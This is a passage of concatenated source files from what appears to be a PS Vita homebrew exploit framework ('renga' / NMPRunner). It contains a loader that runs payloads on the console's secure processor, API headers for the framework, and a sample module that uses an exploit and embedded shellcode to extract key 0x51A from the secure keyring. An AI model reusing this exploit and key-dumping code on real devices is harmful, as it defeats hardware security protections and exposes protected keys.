#include "../../Include/renga-defs.h" 12 | #include "../../Include/renga_user-funcs.h" 13 | 14 | #define printf(...) psvDebugScreenPrintf(__VA_ARGS__) 15 | 16 | #define PAYLOAD_PATH "ux0:data/lv0/payload.nmp" 17 | #define UNUSED_INPUT_PATH "ux0:data/lv0/unused_data.bin" 18 | #define KLOG_PATH "ux0:data/0psp2renga.log" 19 | #define RENGA_DUMP_PATH "ux0:data/lv0/lv0ldr_framework_dump.bin" 20 | #define BLOCKS_DUMP_PATH "ux0:data/lv0/lv0ldr_blocks_dump.bin" 21 | #define UNUSED_DUMP_PATH "ux0:data/lv0/lv0ldr_unused_commem_dump.bin" 22 | 23 | static void wait_key_press(); 24 | static int do_dump = 0; 25 | 26 | int main(int argc, char *argv[]) 27 | { 28 | uint8_t ret8; 29 | 30 | psvDebugScreenInit(); 31 | 32 | printf("lv0 loader by SKGleba\n"); 33 | 34 | renga_set_logging_for_user(1); 35 | 36 | ret8 = renga_get_status_for_user(RENGA_MAGIC_MASTER); 37 | printf("getting framework status... 0x%02X\n", ret8); 38 | if (ret8 == 0x22 || ret8 == 0x27) { 39 | printf("framework not ready!!\n"); 40 | renga_set_logging_for_user(0); 41 | wait_key_press(); 42 | if (do_dump == 0) 43 | return 0; 44 | } 45 | 46 | printf("framework bank: %d\n", renga_xet_bank_for_user(0)); 47 | 48 | printf("copying %s to unused-mem... ", UNUSED_INPUT_PATH); 49 | printf("0x%X\n", renga_work_commem_for_user(UNUSED_INPUT_PATH, RENGA_END_OFF, 0, 1)); 50 | printf("running %s... \n", PAYLOAD_PATH); 51 | printf("\n run_payload: 0x%X\n", renga_exec_code_for_user(PAYLOAD_PATH, 0)); 52 | printf("\n main_status: 0x%02X\n\n", renga_get_status_for_user(RENGA_MAGIC_MASTER)); 53 | 54 | printf(" kernel log: %s\n\n", KLOG_PATH); 55 | 56 | wait_key_press(); 57 | 58 | if (do_dump == 1) { 59 | printf("\ndumping commem...\n\n"); 60 | renga_work_commem_for_user(RENGA_DUMP_PATH, 0, RENGA_BLOCKS_START, 0); 61 | renga_work_commem_for_user(BLOCKS_DUMP_PATH, RENGA_BLOCKS_START, (RENGA_END_OFF - RENGA_BLOCKS_START), 0); 62 | renga_work_commem_for_user(UNUSED_DUMP_PATH, RENGA_END_OFF, (0x1FE000 - RENGA_END_OFF), 0); 63 | printf(" framework dump: %s\n", RENGA_DUMP_PATH); 64 | printf(" sm blocks dump: %s\n", BLOCKS_DUMP_PATH); 65 | printf(" unused-mem dump: %s\n", UNUSED_DUMP_PATH); 66 | } 67 | 68 | renga_set_logging_for_user(0); 69 | 70 | return 0; 71 | } 72 | 73 | void wait_key_press() 74 | { 75 | SceCtrlData pad; 76 | 77 | printf("Press START to continue.\n"); 78 | 79 | while (1) { 80 | sceCtrlPeekBufferPositive(0, &pad, 1); 81 | if (pad.buttons & SCE_CTRL_START) 82 | break; 83 | if (pad.buttons & SCE_CTRL_SELECT) { 84 | do_dump = 1; 85 | break; 86 | } 87 | sceKernelDelayThread(200 * 1000); 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /Include/renga_user-funcs.h: -------------------------------------------------------------------------------- 1 | /* 2 | exec_code_for_user(path, csize) 3 | Reads [csize] from [path] to (commem + NMFEND_OFF + 0x100) and jumps to it there. 4 | The code is executed with two args: 5 | - ARG 1 (uint32_t): commem paddr 6 | - ARG 2 (uint): requested fcmd, should be 0 7 | ARG 1 (char *): 8 | - source payload file path, set to NULL if source is a buf 9 | ARG 2 (uint32_t): 10 | - payload size, 0 for auto 11 | RET (int): 12 | - renga_exec_code ret 13 | */ 14 | extern int renga_exec_code_for_user(const char *path, uint32_t csize); 15 | 16 | /* 17 | work_commem_for_user(path, off, size, mode) 18 | [Copy/Read] to/from commem to/from [buf/file] 19 | ARG 1 (char *): 20 | - file path 21 | ARG 2 (uint32_t): 22 | - commem offset 23 | ARG 3 (uint32_t): 24 | - read/write size 25 | ARG 4 (int): 26 | - mode, if 1: file->commem, else commem->file 27 | RET (int): 28 | - NMPcopy/NMPfile_op ret 29 | */ 30 | extern int renga_work_commem_for_user(const char *path, uint32_t off, uint32_t csize, int mode); 31 | 32 | /* 33 | set_logging_for_user(mode) 34 | Sets logging mode for user 35 | ARG 1 (int): 36 | - new logging mode 37 | RET (int): 38 | - renga_set_logging ret 39 | */ 40 | extern int renga_set_logging_for_user(int mode); 41 | 42 | /* 43 | force_reset_framework(rexploit) 44 | Resets the commem and sets up the lv0 framework for user 45 | ARG 1 (int): 46 | - if 1, re-run the exploit 47 | RET (int): 48 | - renga_force_reset_framework ret 49 | */ 50 | extern int renga_force_reset_framework_for_user(int rexploit); 51 | 52 | /* 53 | get_status_for_user(magic) 54 | Gets [magic] status for user 55 | ARG 1 (uint16_t): 56 | - entry magic (0x0 for the whole framework) 57 | RET (uint8_t): 58 | - renga_get_status ret 59 | */ 60 | extern uint8_t renga_get_status_for_user(uint16_t magic); 61 | 62 | /* 63 | get_opmode_for_user(magic) 64 | Gets [magic] status for user 65 | ARG 1 (uint16_t): 66 | - entry magic (0x0 for the whole framework) 67 | RET (uint8_t): 68 | - renga_get_opmode ret 69 | */ 70 | extern uint8_t renga_get_opmode_for_user(uint16_t magic); 71 | 72 | /* 73 | set_opmode_for_user(magic, opmode) 74 | Gets [magic] status for user 75 | ARG 1 (uint16_t): 76 | - entry magic (0x0 for the whole framework) 77 | ARG 2 (uint8_t): 78 | - new entry mode 79 | RET (int): 80 | - renga_set_opmode ret 81 | */ 82 | extern int renga_set_opmode_for_user(uint16_t magic, uint8_t opmode); 83 | 84 | /* 85 | force_commemblock_for_user(mode, clean) 86 | Reserves/Frees the commem 87 | ARG 1 (int): 88 | - if 1: reserve commem, else free commem 89 | ARG 2 (int): 90 | - memset? (0/1) 91 | RET (int): 92 | - renga_force_commemblock ret 93 | */ 94 | extern int renga_force_commemblock_for_user(int mode, int clean); 95 | 96 | /* 97 | add_entry_for_user(path, type, magic) 98 | Adds a framework entry 99 | ARG 1 (char *): 100 | - entry file 101 | ARG 2 (uint8_t): 102 | - entry type 1/0x10 (code/SM) 103 | ARG 3 (uint16_t): 104 | - entry magic 105 | RET (int): 106 | - NMFadd_entry ret 107 | */ 108 | extern int renga_add_entry_for_user(char *path, uint8_t type, uint16_t magic); 109 | 110 | /* 111 | remove_entry_for_user(type, magic) 112 | Removes a framework entry 113 | ARG 1 (uint8_t): 114 | - entry type 1/0x10 (code/SM) 115 | ARG 2 (uint16_t): 116 | - entry magic 117 | RET (int): 118 | - NMFremove_entry ret 119 | */ 120 | extern int renga_remove_entry_for_user(uint8_t type, uint16_t magic); 121 | 122 | /* 123 | xet_bank(entry) 124 | Sets/Gets current framework bank 125 | ARG 1 (int): 126 | - new bank (0 to GET current bank) 127 | RET (int): 128 | - 0x00: ok 129 | - 0x35: commem not reserved 130 | - 0x69: invalid target bank 131 | - else: (if entry==0 : current bank) 132 | */ 133 | extern int renga_xet_bank_for_user(int entry); -------------------------------------------------------------------------------- /Misc/NMPRunner/Samples/IncludeMemcpySample/main.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | memcpy sample (include) for NMPRunner 4 | This code memcpies the 0x51A key from f00d keyring to 0x1C000000 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include "../../Include/nmprunner.h" 13 | #include "logging.h" 14 | 15 | /* 16 | memcpy(*(u32_t *)0x1C010204, *(u32_t *)0x1C010200, *(u32_t *)0x1C010208); 17 | */ 18 | unsigned char mepcpy_payload[] = { 19 | 0xf0, 0xcf, 0xd8, 0xff, 0x26, 0x4d, 0x22, 0x4e, 0x1a, 0x7b, 0x1e, 0x4b, 20 | 0x00, 0x53, 0x16, 0x43, 0x16, 0xd3, 0x10, 0x80, 0x12, 0x43, 0x21, 0xc3, 21 | 0x01, 0x1c, 0x34, 0xc3, 0x00, 0x02, 0x3e, 0x03, 0x0e, 0x43, 0x21, 0xc3, 22 | 0x01, 0x1c, 0x34, 0xc3, 0x04, 0x02, 0x3e, 0x03, 0x0a, 0x43, 0x21, 0xc3, 23 | 0x01, 0x1c, 0x34, 0xc3, 0x08, 0x02, 0x3e, 0x03, 0x06, 0x43, 0x13, 0x40, 24 | 0x07, 0x43, 0x0f, 0x42, 0x0b, 0x41, 0x0f, 0x10, 0x16, 0x40, 0x00, 0x00, 25 | 0x23, 0x4e, 0x27, 0x4d, 0x1f, 0x4b, 0x28, 0x4f, 0xbe, 0x10, 0x00, 0x00, 26 | 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x1f, 0x00 27 | }; 28 | 29 | static int hex_dump(unsigned char *addr, unsigned int size, char *name) 30 | { 31 | LOG("hex_dump %s [%d]:\n ", name, size); 32 | unsigned int i; 33 | for (i = 0; i < (size >> 4); i++) 34 | { 35 | LOG("%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", addr[0], addr[1], addr[2], addr[3], addr[4], addr[5], addr[6], addr[7], addr[8], addr[9], addr[10], addr[11], addr[12], addr[13], addr[14], addr[15]); 36 | addr += 0x10; 37 | } 38 | LOG("\n..ok!\n"); 39 | return 0; 40 | } 41 | 42 | /* 43 | mepcpy(dst, src, sz) 44 | memcpy [sz] bytes from [src] to [dst] 45 | ARG 1 (uint32_t): 46 | - dst 47 | ARG 2 (uint32_t): 48 | - src 49 | ARG 3 (uint32_t) 50 | - sz 51 | RET (int): 52 | - 0x00: ok 53 | - 0x0X: exploit failed 54 | - 0x1X: commem already reserved 55 | - 0x2X: copy stage2 error 56 | - 0x3X: copy main error 57 | - 0x4X: payload execute error 58 | - 0x5X: commem already free 59 | - 0x6X: unsupported firmware for stage2 60 | */ 61 | static int mepcpy(uint32_t dst, uint32_t src, uint32_t sz) { 62 | int ret = 0; 63 | int sysroot = ksceKernelGetSysbase(); 64 | uint32_t fw = *(uint32_t *)(*(int *)(sysroot + 0x6c) + 4); 65 | ret = NMPexploit_init(fw); 66 | if (ret != 0) 67 | return ret; 68 | ret = NMPconfigure_stage2(fw); 69 | if (ret != 0) 70 | return (0x60 + ret); 71 | ret = NMPreserve_commem(1); 72 | if (ret != 0) 73 | return (0x10 + ret); 74 | ret = NMPcopy(&NMPstage2_payload, 0x10000, sizeof(NMPstage2_payload), 0); 75 | if (ret != 0) 76 | return (0x20 + ret); 77 | ret = NMPcopy(&mepcpy_payload, 0x10100, sizeof(mepcpy_payload), 0); 78 | if (ret != 0) 79 | return (0x30 + ret); 80 | *(uint32_t *)(NMPcorridor + 0x10200) = src; 81 | *(uint32_t *)(NMPcorridor + 0x10204) = dst; 82 | *(uint32_t *)(NMPcorridor + 0x10208) = sz; 83 | ret = NMPfree_commem(0); 84 | if (ret != 0) 85 | return (0x50 + ret); 86 | ret = NMPf00d_jump((uint32_t)0x1C010000, fw); 87 | if (ret != 0) 88 | return (0x40 + ret); 89 | ksceSblSmCommStopSm(NMPctx, &NMPstop_res); 90 | return 0; 91 | } 92 | 93 | void _start() __attribute__ ((weak, alias ("module_start"))); 94 | int module_start(SceSize argc, const void *args) 95 | { 96 | LOG_START("memcpy_sample started!\n"); 97 | int ret = 0; 98 | LOG("mepcpy-ing key 0x51A to 0x1C010000... "); 99 | ret = mepcpy(0x1C010000, (0xE0058000 + (0x51A * 0x20)), 0x20); 100 | LOG("0x%X\n", ret); 101 | NMPreserve_commem(0); 102 | hex_dump((NMPcorridor + 0x10000), 0x20, "key 0x51A"); 103 | NMPfree_commem(1); 104 | LOG("memcpy_sample finished!\n"); 105 | return SCE_KERNEL_START_SUCCESS; 106 | } 107 | 108 | int module_stop(SceSize argc, const void *args) 109 | { 110 | return SCE_KERNEL_STOP_SUCCESS; 111 | } 112 | -------------------------------------------------------------------------------- /Include/renga-funcs.h: -------------------------------------------------------------------------------- 1 | /* 2 | exec_code(cbuf, floc, csize) 3 | Copies [csize]/Reads [csize] from [cbuf] to (commem + NMFEND_OFF + 0x100) and jumps to it there. 4 | The code is executed with two args: 5 | - ARG 1 (uint32_t): commem paddr 6 | - ARG 2 (uint): requested fcmd, should be 0 7 | ARG 1 (void *): 8 | - source payload buf, set to NULL if source is a file 9 | ARG 2 (char *): 10 | - source payload file path, set to NULL if source is a buf 11 | ARG 3 (uint32_t): 12 | - payload size 13 | RET (int): 14 | - NMFexec_code ret 15 | */ 16 | extern int renga_exec_code(void *cbuf, char *floc, uint32_t csize); 17 | 18 | /* 19 | add_entry(cbuf, file, csize, type, magic) 20 | Adds a framework entry 21 | ARG 1 (void *): 22 | - entry buf, set to NULL if the source is a file 23 | ARG 2 (char *): 24 | - entry file, set to NULL if the source is a buf 25 | ARG 3 (uint32_t): 26 | - entry sz 27 | ARG 4 (uint8_t): 28 | - entry type 1/0x10 (code/SM) 29 | ARG 5 (uint16_t): 30 | - entry magic 31 | RET (int): 32 | - NMFadd_entry ret 33 | */ 34 | extern int renga_add_entry(void *cbuf, char *file, uint32_t csize, uint8_t type, uint16_t magic); 35 | 36 | /* 37 | remove_entry(type, magic) 38 | Removes a framework entry 39 | ARG 1 (uint8_t): 40 | - entry type 1/0x10 (code/SM) 41 | ARG 2 (uint16_t): 42 | - entry magic 43 | RET (int): 44 | - NMFremove_entry ret 45 | */ 46 | extern int renga_remove_entry(uint8_t type, uint16_t magic); 47 | 48 | /* 49 | set_opmode(magic, opmode) 50 | Sets operation mode for [magic] 51 | ARG 1 (uint16_t): 52 | - entry magic (0x0 for the whole framework) 53 | ARG 2 (uint8_t): 54 | - new entry mode 55 | RET (int): 56 | - NMFset_opmode ret 57 | */ 58 | extern int renga_set_opmode(uint16_t magic, uint8_t opmode); 59 | 60 | /* 61 | get_opmode(magic) 62 | Gets operation mode for [magic] 63 | ARG 1 (uint16_t): 64 | - entry magic (0x0 for the whole framework) 65 | RET (uint8_t): 66 | - NMFget_opmode ret 67 | */ 68 | extern uint8_t renga_get_opmode(uint16_t magic); 69 | 70 | /* 71 | get_status(magic) 72 | Gets status for [magic] 73 | ARG 1 (uint16_t): 74 | - entry magic (0x0 for the whole framework) 75 | RET (uint8_t): 76 | - NMFget_status ret 77 | */ 78 | extern uint8_t renga_get_status(uint16_t magic); 79 | 80 | /* 81 | work_commem(buf, floc, off, size, mode) 82 | [Copy/Read] to/from commem to/from [buf/file] 83 | ARG 1 (void *): 84 | - buf, set to NULL if the source/target is a file 85 | ARG 2 (char *): 86 | - file path, set to NULL if the source/target is a buf 87 | ARG 3 (uint32_t): 88 | - commem offset 89 | ARG 4 (uint32_t): 90 | - copy/read size 91 | ARG 5 (int): 92 | - mode, if 1: source->commem, else commem->target 93 | RET (int): 94 | - NMPcopy/NMPfile_op ret 95 | */ 96 | extern int renga_work_commem(void *buf, char *floc, uint32_t off, uint32_t size, int mode); 97 | 98 | /* 99 | force_commemblock(mode, clean) 100 | Reserves/Frees the commem 101 | ARG 1 (int): 102 | - if 1: reserve commem, else free commem 103 | ARG 2 (int): 104 | - memset? (0/1) 105 | RET (int): 106 | - NMPreserve_commem / NMPfree_commem ret 107 | */ 108 | extern int renga_force_commemblock(int mode, int clean); 109 | 110 | /* 111 | set_logging(mode) 112 | Sets logging mode 113 | ARG 1 (int): 114 | - new logging mode 115 | RET (int): 116 | - logging mode 117 | */ 118 | extern int renga_set_logging(int mode); 119 | 120 | /* 121 | force_reset_framework(rexploit) 122 | Resets the commem and sets up the framework 123 | ARG 1 (int): 124 | - if 1, re-run the exploit 125 | RET (int): 126 | - NMFsetup_framework ret 127 | */ 128 | extern int renga_force_reset_framework(int rexploit); 129 | 130 | /* 131 | add_reset_entry(func, cln_slot) 132 | Adds a framework-reset entry (or cleans if func=NULL) 133 | ARG 1 (void *): 134 | - pointer to the function that will be executed at framework reset, 135 | set to NULL if in clean mode 136 | ARG 2 (int): 137 | - slot to clean 138 | RET (int): 139 | - 0x69: No free slot 140 | - if func == NULL: current slot country 141 | - if func != NULL: func's slot 142 | */ 143 | extern int renga_add_reset_entry(void *vaddr, int cln_slot); 144 | 145 | /* 146 | xet_bank(entry) 147 | Sets/Gets current framework bank 148 | ARG 1 (int): 149 | - new bank (0 to GET current bank) 150 | RET (int): 151 | - 0x00: ok 152 | - 0x35: commem not reserved 153 | - 0x69: invalid target bank 154 | - else: (if entry==0 : current bank) 155 | */ 156 | extern int renga_xet_bank(int entry); 157 | 158 | /* 159 | mepcpy(dst, src, sz, device) 160 | Adds a framework-reset entry (or cleans if func=NULL) 161 | ARG 1 (uint32_t): 162 | - dst paddr 163 | ARG 2 (uint32_t): 164 | - src paddr 165 | ARG 3 (uint32_t): 166 | - size to copy 167 | ARG 4 (uint32_t): 168 | - memcpy func (0 for secure_kernel's; 1 for the second cry's (bigmac)) 169 | RET (int): 170 | - if device == 0: dst or error 171 | - if device == 1: 0 or error 172 | */ 173 | extern int renga_mepcpy(uint32_t dst, uint32_t src, uint32_t sz, uint32_t device); -------------------------------------------------------------------------------- /User/app/debugScreen.h: -------------------------------------------------------------------------------- 1 | #ifndef DEBUG_SCREEN_H 2 | #define DEBUG_SCREEN_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | extern unsigned char psvDebugScreenFont[]; 14 | 15 | #define SCREEN_WIDTH (960) 16 | #define SCREEN_HEIGHT (544) 17 | #define SCREEN_FB_WIDTH (960) 18 | #define SCREEN_FB_SIZE (2 * 1024 * 1024) 19 | #define SCREEN_FB_ALIGN (256 * 1024) 20 | #define SCREEN_GLYPH_W (8) 21 | #define SCREEN_GLYPH_H (8) 22 | 23 | #define COLOR_BLACK 0xFF000000 24 | #define COLOR_RED 0xFF0000FF 25 | #define COLOR_BLUE 0xFF00FF00 26 | #define COLOR_YELLOW 0xFF00FFFF 27 | #define COLOR_GREEN 0xFFFF0000 28 | #define COLOR_MAGENTA 0xFFFF00FF 29 | #define COLOR_CYAN 0xFFFFFF00 30 | #define COLOR_WHITE 0xFFFFFFFF 31 | #define COLOR_GREY 0xFF808080 32 | #define COLOR_DEFAULT_FG COLOR_WHITE 33 | #define COLOR_DEFAULT_BG COLOR_BLACK 34 | 35 | static int psvDebugScreenMutex; /*< avoid race condition when outputing strings */ 36 | static uint32_t psvDebugScreenCoordX = 0; 37 | static uint32_t psvDebugScreenCoordY = 0; 38 | static uint32_t psvDebugScreenColorFg = COLOR_DEFAULT_FG; 39 | static uint32_t psvDebugScreenColorBg = COLOR_DEFAULT_BG; 40 | static SceDisplayFrameBuf psvDebugScreenFrameBuf = { 41 | sizeof(SceDisplayFrameBuf), NULL, SCREEN_WIDTH, 0, SCREEN_WIDTH, SCREEN_HEIGHT}; 42 | 43 | uint32_t psvDebugScreenSetFgColor(uint32_t color) { 44 | uint32_t prev_color = psvDebugScreenColorFg; 45 | psvDebugScreenColorFg = color; 46 | return prev_color; 47 | } 48 | 49 | uint32_t psvDebugScreenSetBgColor(uint32_t color) { 50 | uint32_t prev_color = psvDebugScreenColorBg; 51 | psvDebugScreenColorBg = color; 52 | return prev_color; 53 | } 54 | 55 | static size_t psvDebugScreenEscape(const char *str){ 56 | int i,j, p=0, params[8]={}; 57 | for(i=0; i<8 && str[i]!='\0'; i++){ 58 | if(str[i] >= '0' && str[i] <= '9'){ 59 | params[p]=(params[p]*10) + (str[i] - '0'); 60 | }else if(str[i] == ';'){ 61 | p++; 62 | }else if(str[i] == 'f' || str[i] == 'H'){ 63 | psvDebugScreenCoordX = params[0] * SCREEN_GLYPH_W; 64 | psvDebugScreenCoordY = params[1] * SCREEN_GLYPH_H; 65 | break; 66 | }else if (str[i] == 'm'){ 67 | for(j=0; j<=p; j++){ 68 | switch(params[j]/10){/*bold,dim,underline,blink,invert,hidden => unsupported yet */ 69 | #define BIT2BYTE(bit) ( ((!!(bit&4))<<23) | ((!!(bit&2))<<15) | ((!!(bit&1))<<7) ) 70 | case 0:psvDebugScreenSetFgColor(COLOR_DEFAULT_FG);psvDebugScreenSetBgColor(COLOR_DEFAULT_BG);break; 71 | case 3:psvDebugScreenSetFgColor(BIT2BYTE(params[j]%10));break; 72 | case 9:psvDebugScreenSetFgColor(BIT2BYTE(params[j]%10) | 0x7F7F7F7F);break; 73 | case 4:psvDebugScreenSetBgColor(BIT2BYTE(params[j]%10));break; 74 | case 10:psvDebugScreenSetBgColor(BIT2BYTE(params[j]%10) | 0x7F7F7F7F);break; 75 | #undef BIT2BYTE 76 | } 77 | } 78 | break; 79 | } 80 | } 81 | return i; 82 | } 83 | 84 | int psvDebugScreenInit() { 85 | psvDebugScreenMutex = sceKernelCreateMutex("log_mutex", 0, 0, NULL); 86 | SceUID displayblock = sceKernelAllocMemBlock("display", SCE_KERNEL_MEMBLOCK_TYPE_USER_CDRAM_RW, SCREEN_FB_SIZE, NULL); 87 | sceKernelGetMemBlockBase(displayblock, (void**)&psvDebugScreenFrameBuf.base); 88 | 89 | SceDisplayFrameBuf framebuf = { 90 | .size = sizeof(framebuf), 91 | .base = psvDebugScreenFrameBuf.base, 92 | .pitch = SCREEN_WIDTH, 93 | .pixelformat = SCE_DISPLAY_PIXELFORMAT_A8B8G8R8, 94 | .width = SCREEN_WIDTH, 95 | .height = SCREEN_HEIGHT, 96 | }; 97 | 98 | return sceDisplaySetFrameBuf(&framebuf, SCE_DISPLAY_SETBUF_NEXTFRAME); 99 | } 100 | 101 | void psvDebugScreenClear(int bg_color){ 102 | psvDebugScreenCoordX = psvDebugScreenCoordY = 0; 103 | int i; 104 | for(i = 0; i < SCREEN_WIDTH * SCREEN_HEIGHT; i++) { 105 | ((uint32_t*)psvDebugScreenFrameBuf.base)[i] = bg_color; 106 | } 107 | } 108 | 109 | #define PSV_DEBUG_SCALE 2 110 | 111 | int psvDebugScreenPuts(const char * text){ 112 | int c, i, j, l, x, y; 113 | uint8_t *font; 114 | uint32_t *vram_ptr; 115 | uint32_t *vram; 116 | 117 | sceKernelLockMutex(psvDebugScreenMutex, 1, NULL); 118 | 119 | for (c = 0; text[c] != '\0' ; c++) { 120 | if (psvDebugScreenCoordX + 8 > SCREEN_WIDTH) { 121 | psvDebugScreenCoordY += SCREEN_GLYPH_H * PSV_DEBUG_SCALE; 122 | psvDebugScreenCoordX = 0; 123 | } 124 | if (psvDebugScreenCoordY + 8 > SCREEN_HEIGHT) { 125 | psvDebugScreenClear(psvDebugScreenColorBg); 126 | } 127 | if (text[c] == '\n') { 128 | psvDebugScreenCoordX = 0; 129 | psvDebugScreenCoordY += SCREEN_GLYPH_H * PSV_DEBUG_SCALE; 130 | continue; 131 | } else if (text[c] == '\r') { 132 | psvDebugScreenCoordX = 0; 133 | continue; 134 | } else if ((text[c] == '\e') && (text[c+1] == '[')) { /* escape code (change color, position ...) */ 135 | c+=psvDebugScreenEscape(text+2)+2; 136 | continue; 137 | } 138 | 139 | vram = (uint32_t*)psvDebugScreenFrameBuf.base; 140 | 141 | font = &psvDebugScreenFont[ (int)text[c] * 8]; 142 | for (i = l = 0; i < SCREEN_GLYPH_W; i++, l += SCREEN_GLYPH_W, font++) { 143 | for (j = 0; j < SCREEN_GLYPH_W; j++) { 144 | for (y = 0; y < PSV_DEBUG_SCALE; y++) { 145 | for (x = 0; x < PSV_DEBUG_SCALE; x++) { 146 | vram_ptr = &vram[(psvDebugScreenCoordX + x + j * PSV_DEBUG_SCALE) + 147 | (psvDebugScreenCoordY + y + i * PSV_DEBUG_SCALE) * SCREEN_FB_WIDTH]; 148 | if ((*font & (128 >> j))) 149 | *vram_ptr = psvDebugScreenColorFg; 150 | else 151 | *vram_ptr = psvDebugScreenColorBg; 152 | } 153 | } 154 | } 155 | } 156 | psvDebugScreenCoordX += SCREEN_GLYPH_W * PSV_DEBUG_SCALE; 157 | } 158 | 159 | sceKernelUnlockMutex(psvDebugScreenMutex, 1); 160 | return c; 161 | } 162 | 163 | int psvDebugScreenPrintf(const char *format, ...) { 164 | char buf[512]; 165 | 166 | va_list opt; 167 | va_start(opt, format); 168 | int ret = vsnprintf(buf, sizeof(buf), format, opt); 169 | psvDebugScreenPuts(buf); 170 | va_end(opt); 171 | 172 | return ret; 173 | } 174 | 175 | #endif 176 | -------------------------------------------------------------------------------- /Misc/Renga/Samples/UserDecryptedSmLoad-dsll_mdr72/debugScreen.h: -------------------------------------------------------------------------------- 1 | #ifndef DEBUG_SCREEN_H 2 | #define DEBUG_SCREEN_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | extern unsigned char psvDebugScreenFont[]; 14 | 15 | #define SCREEN_WIDTH (960) 16 | #define SCREEN_HEIGHT (544) 17 | #define SCREEN_FB_WIDTH (960) 18 | #define SCREEN_FB_SIZE (2 * 1024 * 1024) 19 | #define SCREEN_FB_ALIGN (256 * 1024) 20 | #define SCREEN_GLYPH_W (8) 21 | #define SCREEN_GLYPH_H (8) 22 | 23 | #define COLOR_BLACK 0xFF000000 24 | #define COLOR_RED 0xFF0000FF 25 | #define COLOR_BLUE 0xFF00FF00 26 | #define COLOR_YELLOW 0xFF00FFFF 27 | #define COLOR_GREEN 0xFFFF0000 28 | #define COLOR_MAGENTA 0xFFFF00FF 29 | #define COLOR_CYAN 0xFFFFFF00 30 | #define COLOR_WHITE 0xFFFFFFFF 31 | #define COLOR_GREY 0xFF808080 32 | #define COLOR_DEFAULT_FG COLOR_WHITE 33 | #define COLOR_DEFAULT_BG COLOR_BLACK 34 | 35 | static int psvDebugScreenMutex; /*< avoid race condition when outputing strings */ 36 | static uint32_t psvDebugScreenCoordX = 0; 37 | static uint32_t psvDebugScreenCoordY = 0; 38 | static uint32_t psvDebugScreenColorFg = COLOR_DEFAULT_FG; 39 | static uint32_t psvDebugScreenColorBg = COLOR_DEFAULT_BG; 40 | static SceDisplayFrameBuf psvDebugScreenFrameBuf = { 41 | sizeof(SceDisplayFrameBuf), NULL, SCREEN_WIDTH, 0, SCREEN_WIDTH, SCREEN_HEIGHT}; 42 | 43 | uint32_t psvDebugScreenSetFgColor(uint32_t color) { 44 | uint32_t prev_color = psvDebugScreenColorFg; 45 | psvDebugScreenColorFg = color; 46 | return prev_color; 47 | } 48 | 49 | uint32_t psvDebugScreenSetBgColor(uint32_t color) { 50 | uint32_t prev_color = psvDebugScreenColorBg; 51 | psvDebugScreenColorBg = color; 52 | return prev_color; 53 | } 54 | 55 | static size_t psvDebugScreenEscape(const char *str){ 56 | int i,j, p=0, params[8]={}; 57 | for(i=0; i<8 && str[i]!='\0'; i++){ 58 | if(str[i] >= '0' && str[i] <= '9'){ 59 | params[p]=(params[p]*10) + (str[i] - '0'); 60 | }else if(str[i] == ';'){ 61 | p++; 62 | }else if(str[i] == 'f' || str[i] == 'H'){ 63 | psvDebugScreenCoordX = params[0] * SCREEN_GLYPH_W; 64 | psvDebugScreenCoordY = params[1] * SCREEN_GLYPH_H; 65 | break; 66 | }else if (str[i] == 'm'){ 67 | for(j=0; j<=p; j++){ 68 | switch(params[j]/10){/*bold,dim,underline,blink,invert,hidden => unsupported yet */ 69 | #define BIT2BYTE(bit) ( ((!!(bit&4))<<23) | ((!!(bit&2))<<15) | ((!!(bit&1))<<7) ) 70 | case 0:psvDebugScreenSetFgColor(COLOR_DEFAULT_FG);psvDebugScreenSetBgColor(COLOR_DEFAULT_BG);break; 71 | case 3:psvDebugScreenSetFgColor(BIT2BYTE(params[j]%10));break; 72 | case 9:psvDebugScreenSetFgColor(BIT2BYTE(params[j]%10) | 0x7F7F7F7F);break; 73 | case 4:psvDebugScreenSetBgColor(BIT2BYTE(params[j]%10));break; 74 | case 10:psvDebugScreenSetBgColor(BIT2BYTE(params[j]%10) | 0x7F7F7F7F);break; 75 | #undef BIT2BYTE 76 | } 77 | } 78 | break; 79 | } 80 | } 81 | return i; 82 | } 83 | 84 | int psvDebugScreenInit() { 85 | psvDebugScreenMutex = sceKernelCreateMutex("log_mutex", 0, 0, NULL); 86 | SceUID displayblock = sceKernelAllocMemBlock("display", SCE_KERNEL_MEMBLOCK_TYPE_USER_CDRAM_RW, SCREEN_FB_SIZE, NULL); 87 | sceKernelGetMemBlockBase(displayblock, (void**)&psvDebugScreenFrameBuf.base); 88 | 89 | SceDisplayFrameBuf framebuf = { 90 | .size = sizeof(framebuf), 91 | .base = psvDebugScreenFrameBuf.base, 92 | .pitch = SCREEN_WIDTH, 93 | .pixelformat = SCE_DISPLAY_PIXELFORMAT_A8B8G8R8, 94 | .width = SCREEN_WIDTH, 95 | .height = SCREEN_HEIGHT, 96 | }; 97 | 98 | return sceDisplaySetFrameBuf(&framebuf, SCE_DISPLAY_SETBUF_NEXTFRAME); 99 | } 100 | 101 | void psvDebugScreenClear(int bg_color){ 102 | psvDebugScreenCoordX = psvDebugScreenCoordY = 0; 103 | int i; 104 | for(i = 0; i < SCREEN_WIDTH * SCREEN_HEIGHT; i++) { 105 | ((uint32_t*)psvDebugScreenFrameBuf.base)[i] = bg_color; 106 | } 107 | } 108 | 109 | #define PSV_DEBUG_SCALE 2 110 | 111 | int psvDebugScreenPuts(const char * text){ 112 | int c, i, j, l, x, y; 113 | uint8_t *font; 114 | uint32_t *vram_ptr; 115 | uint32_t *vram; 116 | 117 | sceKernelLockMutex(psvDebugScreenMutex, 1, NULL); 118 | 119 | for (c = 0; text[c] != '\0' ; c++) { 120 | if (psvDebugScreenCoordX + 8 > SCREEN_WIDTH) { 121 | psvDebugScreenCoordY += SCREEN_GLYPH_H * PSV_DEBUG_SCALE; 122 | psvDebugScreenCoordX = 0; 123 | } 124 | if (psvDebugScreenCoordY + 8 > SCREEN_HEIGHT) { 125 | psvDebugScreenClear(psvDebugScreenColorBg); 126 | } 127 | if (text[c] == '\n') { 128 | psvDebugScreenCoordX = 0; 129 | psvDebugScreenCoordY += SCREEN_GLYPH_H * PSV_DEBUG_SCALE; 130 | 